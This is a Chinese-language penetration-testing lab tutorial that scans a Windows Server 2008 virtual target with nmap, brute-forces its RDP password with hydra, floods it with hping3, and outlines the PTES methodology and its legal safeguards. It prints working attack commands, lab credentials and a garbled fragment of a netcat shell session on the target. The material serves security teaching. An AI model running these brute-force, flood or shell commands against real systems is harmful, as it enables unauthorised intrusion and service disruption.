Windows渗透测试

准备靶机

Win2008靶机

占有率高:中国Windows Server占比约为19.07%,其中WindowsServer2008占有率为15%

  • 注:根据datanyze的统计数据 (采用扫描域名服务统计)

渗透和防御比较成熟

  • 微软于2020年1月14日结束对WindowsServer2008支持
  • 漏洞为黑客所熟悉,防御技术较成熟

占有资源小,便于演练

准备Win2008靶机

下载并解压Win2008.zip,使用Vmware打开

  • 用户:administrator
  • 密码:Ntd.cn123
  • 端口:21、23、25、80、135、445、3389

nmap扫描

什么是扫描

指利用工具或软件来探测目标网络或主机的过程

  • 是搜集信息的必备环节
  • 用来获取目标的系统类型/软件版本/端口开放情况等信息
  • 也可以检测已知或潜在的漏洞

常见扫描工具

  • Ping
  • nmap
  • Nessus/OpenVAS
  • AppScan

扫描的价值

对攻击者来说

  • 根据扫描结果,来决定进一步的攻击行动
  • 能够更有针对性地选择攻击方法、攻击工具,节省攻击时间

对防御者来说

  • 根据扫描结果,判断应采取什么样的安全策略
  • 封堵漏洞、加固系统、完善访问控制

关于NMAP

Network Mapper,一款开源的网络探测器

  • 采用原始报文方式,可以快速扫描单个主机或大型网络
  • 识别目标的服务类型、程序版本、防火墙等

基本用法

  • nmap [扫描类型] [选项] <扫描目标 …>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# nmap 192.168.10.142 //快速扫描主机192.168.10.142

PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
80/tcp open http
135/tcp open msrpc //已开放端口
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:01:FA:F0 (VMware) //目标主机MAC地址

Nmap done: 1 IP address (1 host up) scanned in 2.25 seconds

扫描类型

扫描方式

  • -sS,TCP半开扫描(只发SYN包),速度快(默认)
  • -sT,TCP全开扫描 (尝试全连接) ,结果更准确
  • -sU,UDP扫描,用于DNS、SNMP、DHCP等

扫描目标

目标地址

  • 域名、IP地址、网段地址
  • 比如:192.168.10.142、172.163.10.0/24

目标端口

  • 比如:-p 3389

多个目标以 “,” 分隔,连续范围以 “-” 分隔

  • 比如:10.0.0.1 - 254、192.168.10.2,211
  • 比如:-p 21-23、-p 21,80,3389

准备扫描环境

实验环境

  • 攻击机:kali2022
  • 靶机:win2008,还原快照至“靶机”

扫描网段

扫描192.168.10.0/24网段,检测存活的主机和开放的端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.10.0/24 //扫描目标网段(-sP)

Nmap scan report for 192.168.10.1
Host is up (0.00022s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.10.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:EB:B5:9E (VMware)
Nmap scan report for 192.168.10.142
Host is up (0.00026s latency).
MAC Address: 00:0C:29:01:FA:F0 (VMware)
Nmap scan report for 192.168.10.254
Host is up (0.00014s latency).
MAC Address: 00:50:56:FA:78:70 (VMware)
Nmap scan report for 192.168.10.224
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.04 seconds

进行TCP半开扫描

检查目标主机开放了哪些端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.10.142 //TCP半开扫描的方式扫描主机开放的端口

PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
80/tcp open http
135/tcp open msrpc //已开放端口
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:01:FA:F0 (VMware) //目标主机MAC地址

Nmap done: 1 IP address (1 host up) scanned in 2.25 seconds

检测操作系统

探测目标主机的操作系统

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nmap -sS -O 192.168.10.142 //扫描目标主机的操作系统(-O)

MAC Address: 00:0C:29:01:FA:F0 (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1 //操作系统检测
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds

检测软件版本

探测目标主机运行的软件及版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~]
└─# nmap -sV 192.168.10.142 //扫描目标的软件版本(-sV)

PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
23/tcp open telnet Microsoft Windows XP telnetd
25/tcp open smtp Microsoft ESMTP 7.5.7601.17514
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:01:FA:F0 (VMware)
Service Info: Host: WIN-5MQI51VLCDC; OSs: Windows, Windows XP, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.74 seconds

指定扫描端口

检查目标主机是否开放80,3389端口

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nmap -sS -p 80,3389 192.168.10.142 //扫描主机的80及3389端口
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-26 09:54 CST
Nmap scan report for 192.168.10.142
Host is up (0.00049s latency).

PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:01:FA:F0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

指定扫描端口范围

检查目标主机1-100端口哪些是开放的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# nmap -sS -p 1-100 192.168.10.142 //扫描主机的1-100端口中开放的端口
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-26 09:55 CST
Nmap scan report for 192.168.10.142
Host is up (0.00056s latency).
Not shown: 96 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
80/tcp open http
MAC Address: 00:0C:29:01:FA:F0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

暴力破解

什么是暴力破解

密码破解指攻击者猜解目标密码或用户名的攻击行为

暴力破解

  • 也称为“密码穷举”,列出各种可能的密码,用来尝试去访问目标系统
  • 任何密码都可以用这种方法来破解,不过越复杂的密码破解耗时也越长

字典破解

  • 实施破解时采用“可能”的密码,比如生日、单词、常用数字
  • 可手动或通过工具编写,也可以通过分享获取社工密码库

Kali自带密码字典: /usr/share/wordlists/

  • 全球最常见的密码是“123456“、“password”、“123456789”

crunch字典工具

基本用法

crunch 最小长度 最大长度 素材字符 -o 字典文件

  • crunch 6 6 0123456789 //6位纯数字密码
  • crunch 6 8 Abc1234 //由Abc1234随机组成的6~8位密码

hydra暴破工具

hydra,海德拉,一款功能强大的开源密码攻击工具

  • 名称来自希腊神话中的九头蛇
  • 支持多种协议的破解
  • SSH、FTP、HTTPS、POP3、IMAP、Http-Proxy、 Telnet、SMB、Cisco、RDPMySQL、MS-SQL等

基本用法

  • hydra -l 用户名 -P 密码字典文件 目标地址 服务类型
  • 比如:hydra -l Administrator -P pass.txt 192.168.10.142 rdp

常用选项

  • -l 指定用户名
  • -L 指定用户名字典文件
  • -p 指定密码
  • -P 指定密码字典文件
  • -o 将结果输出到指定文件

暴破RDP密码

实验环境

  • kali2022攻击机、win2008靶机(开启RDP远程桌面服务)
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# hydra -l Administrator -P pass.txt -o output.txt 192.168.10.142 rdp //暴力破解操作
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking rdp://192.168.10.142:3389/
[3389][rdp] host: 192.168.10.142 login: Administrator password: Tedu.cn123 //RDP服务的用户名及密码
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-26 11:58:00

从kali连接3389远程桌面

  • rdesktop -u 用户名 目标主机地址
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~]
└─# rdesktop -u Administator 192.168.10.142

Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Do you trust this certificate(yes/no)? yes //接受证书
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.

防范暴力破解攻击

使用复杂的密码并定期更换

  • 长度8位以上
  • 包含小写字母、大写字母、符号、数字至少其中三种
  • 不含有用户名

管理员账号禁用或改名

  • Administrator、root

启用账户锁定阈值

  • 管理工具->本地安全策略
  • gpupdate /force

DoS与DDoS攻击

DoS攻击概述

DoS,拒绝服务 (Denialof Service)

  • 通过各种手段,最终导致目标系统崩溃、失去响应
  • 从而使目标系统不能为正常的用户提供资源或对应的功能(拒绝服务)

常见的DoS攻击方式

  • SYN Flood泛洪
  • PingFlood泛洪
  • UDPFlood泛洪

DoS攻击演示

hping3工具

  • 可向目标主机发送任意TCP/IP协议数据包的一款开源的安全工具
  • 也用于扫描/防火墙测试/路由追踪/协议分析等场景

常用选项

  • -p:指定目标端口
  • –syn:设置SYN标记 (-S)
  • –flood:泛洪,尽最快发送数据包,不显示回复

实验环境

  • 攻击机:kali2022,使用hping3工具
  • 靶机:win2008,开启3389远程桌面服务

场景演示

  • 针对靶机的3389端口发起攻击,使其失去响应
1
2
3
4
5
┌──(root㉿kali)-[~]
└─# hping3--syn --food -p 3389 192.168.10.142 //SYN包泛洪测试
HPING 192.168.10.142(eth0 192.168.10.142):S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
//需要停止时,按Ctrl + C快捷键

DDoS攻击概述

DDoS,分布式拒绝服务(Distributed Denialof Service)

  • 典型的流量攻击,攻击方的主机数量呈现规模化
  • 通常由分布在不同网络、不同位置的成千上万的主机组成攻击方(通常称为botnet僵尸网络),被同一发起者所控制
  • 攻击强度更大
  • 防御的难度也更大

防御DDoS/DoS攻击

提高服务方的交付能力

  • 减少服务配置的等待时间
  • 优化单一客户机的并发响应策略
  • 更换高性能设备
  • 增加网络带宽
  • 采用负载均衡架构
  • 部署CDN内容分发网络

部署专用软硬件防御产品

  • 冰盾防火墙
  • 流量清洗、DDoS高防IP
  • IDS入侵防御设备
  • 抗DDoS专用防火墙设备

渗透测试流程

渗透测试概述

渗透测试是什么

  • 是一种通过模拟攻击的技术与方法,打破目标系统的安全防御,并获得目标系统控制访问权的安全测试方法

为什么要进行渗透测试

  • 新系统可能存在未知的安全风险
  • 企业安全更需要未雨绸缪,而不是亡羊补牢
  • 渗透测试后,如果系统未被攻破,证明之前的安全防御是有效的
  • 渗透测试可以有效的评估系统的安全状态,并给出合理的改进方案

渗透测试的目的

  • 模拟侵入系统获取机密信息
  • 将入侵过程和细节产生报告提供用户
  • 确定用户系统存在的安全威胁,完善安全防御,降低安全风险

原则和目标分类

渗透测试的原则

  • 应渐进并且逐步深入,尽可能减少对业务的影响
  • 渗透测试的最大风险:测试过程中对业务产生的影响
  • 渗透测试的合规性:符合规范和法律要求是渗透测试的必要条件

渗透测试的目标分类

  • 针对主机操作系统渗透:Windows、Linux
  • x ┌──(root㉿kali)-[~]└─# nc 192.168.10.142 444             //使用nc建立连接​C:\Windows\system32>hostname         //查看主机名hostnameWIN-5MQI51VLCDCproperties
  • 针对应用系统渗透:PHP组成的网站
  • 针对网络设备渗透:防火墙、路由器、交换机···

3、渗透测试的七个阶段

PTES:渗透测试执行标准

  • 定义一次真正的渗透测试过程
  • 渗透测试过程分为七个阶段,并在每个阶段定义不同的扩展级别,选择哪种级别由被测试客户决定

9.2.1

第一阶段:事前交互

  • 明确范围:IP、域名、云平台,起止时间
  • 明确规则:目标系统介绍、重点保护对象及特性、相关部门接口人?是否允许数据破坏?是否允许阻断业务正常运行?
  • 确定目标:web应用?人员权限管理漏洞?
  • 客户书面授权委托同意实施方案是进行渗透测试的必要条件!

第二阶段:信息收集

  • 信息收集是渗透攻击的前提
  • 信息收集工具:Nmap、OpenVAS
  • 主动扫描:语言的类型、服务器的类型、目录的结构、使用的软件、数据库类型
  • 开放搜索:人员信息(域名注册人员信息、web应用中网站发帖人的id、管理员姓名)后台管理页面、默认账号

9.2.2

第三阶段:威胁建模

  • 根据收集到的信息,识别出目标系统上可能存在的漏洞与弱点
  • 分析渗透测试过程中可能产生的风险:大量测试数据的处理,影响正常业务开展;服务器发生异常的应急、数据备份和恢复、成本
  • 测试方书写实施方案初稿并提交审核:在审核完成后,进行书面委托授权书,授权测试方进行渗透测试

第四阶段:漏洞分析(手动&自动)

  • 方法
    • 1)漏扫:Nessus、Openvas、AppScan
    • 2)结合漏洞去MSF找利用程序
  • 内容
    • 1)系统漏洞:系统没有及时打补丁
    • 2)Web漏洞:Web服务配置问题、Web应用开发问题
    • 3)其它服务漏洞:21、22、445、3389
    • 4)通信安全:明文传输,token在cookie中传送等

第五阶段:渗透攻击阶段

  • 根据漏洞分析结果,进行精确打击
  • 绕过检测机制:IDS、IPS、FW、WAF
  • 绕过防御机制:IPS、防火墙、WAF、杀毒软件
  • 定制渗透攻击路径:根据薄弱入口,定制渗透工具路径
  • 代码攻击:XSS(跨站脚本攻击)、CSRF(跨站请求伪造)、SOL注入·

第六阶段:后渗透攻击阶段

  • 获取内部信息:基础设施(网络连接、网络拓扑、VPN、路由等)
  • 进一步渗透:内网入侵,敏感目标
  • 持续性存在:添加管理账号,长期驻留
  • 清理痕迹:清理相关日志(访问、操作),上传文件等

第七阶段:形成报告

  • 按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告
  • 补充介绍:要对漏洞成因,验证过程和带来危害进行分析
  • 修补建议:当然要对所有产生的问题提出合理高效安全的解决办法

风险规避

注意事项

  • 在事前交互阶段,必须取得客户授权
  • 取得客户授权后,必须向公安部门等监管机构进行报备
  • 不要进行诸如ddos攻击、删库、删根
  • 测试之前对重要数据进行备份
  • 可以对原始系统生成镜像环境,然后对镜像环境进行测试
  • 明确渗透测试范围